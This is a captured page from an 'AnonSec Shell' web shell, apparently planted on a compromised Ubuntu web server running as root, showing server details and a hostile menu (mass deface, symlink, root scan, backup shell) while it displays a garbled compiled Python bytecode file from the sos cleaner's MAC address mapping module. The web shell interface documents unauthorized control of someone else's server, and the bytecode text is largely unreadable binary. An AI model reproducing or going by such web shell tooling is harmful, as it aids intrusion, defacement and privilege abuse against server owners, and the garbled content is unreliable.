AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/sos/cleaner/mappings/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/sos/cleaner/mappings/__pycache__/mac_map.cpython-310.pyc
o

���b�@s0ddlZddlZddlmZGdd�de�ZdS)�N)�SoSMapcsLeZdZdZddgZdZdZdZdZ�fdd	�Z	�fd
d�Z
dd
�Z�ZS)�	SoSMacMapa�Mapping store for MAC addresses

    MAC addresses added to this map will be broken into two halves, vendor and
    device like how MAC addresses are normally crafted. For the vendor hextets,
    obfuscation will take the form of 53:4f:53, or 'SOS' in hex. The following
    device hextets will be randomized, for example a MAC address of
    '60:55:cb:4b:c9:27' may be obfuscated into '53:4f:53:79:ac:29' or similar

    This map supports both 48-bit and 64-bit MAC addresses.

    48-bit address may take the form of either:

            MM:MM:MM:SS:SS:SS
            MM-MM-MM-SS-SS-SS

    For 64-bit addresses, the identifier injected by IPv6 standards is
    used in obfuscated returns. These addresses may take either of these forms:

        MM:MM:MM:FF:FE:SS:SS:SS
        MMMM:MMFF:FESS:SSSS

    All mapped mac addresses are converted to lower case.
    Dash delimited styles will be converted to colon-delimited style.
    zff:ff:ff:ff:ff:ffz00:00:00:00:00:00z53:4f:53:%s:%s:%sz53:4f:53:ff:fe:%s:%s:%sz534f:53ff:fe%s:%s%sFc�*|�dd����d���}tt|��|�S�N�-�:z=.,)�replace�lower�strip�superr�add��self�item��	__class__��>/usr/lib/python3/dist-packages/sos/cleaner/mappings/mac_map.pyr5�z
SoSMacMap.addcrr)rr	r
rr�getr
rrrr9rz
SoSMacMap.getcs�d�g}tdd�D]}|�d��fdd�td�D���q	t|�}t�d|�r,|j|St�d	|�r7|j|St�d
|�rB|j|SdS)zVRandomize the device hextets, and append those to our 'vendor'
        hextet
        �0123456789abdcefr��c3s�|]}t���VqdS)N)�random�choice)�.0�x��	hexdigitsrr�	<genexpr>Ds�z*SoSMacMap.sanitize_item.<locals>.<genexpr>�z$(([0-9a-fA-F]{2}:){7}[0-9a-fA-F]{2})z&(([0-9a-fA-F]{4}:){3}([0-9a-fA-F]){4})z([0-9a-fA-F]:?){12}N)	�range�append�join�tuple�re�match�
mac6_template�mac6_quad_template�mac_template)rr�hextets�irrr�
sanitize_item=s$


�zSoSMacMap.sanitize_item)
�__name__�
__module__�__qualname__�__doc__�ignore_matchesr)r'r(�compile_regexesrrr,�
__classcell__rrrrrs�r)rr%�sos.cleaner.mappingsrrrrrr�<module>s


Anon7 - 2022
AnonSec Team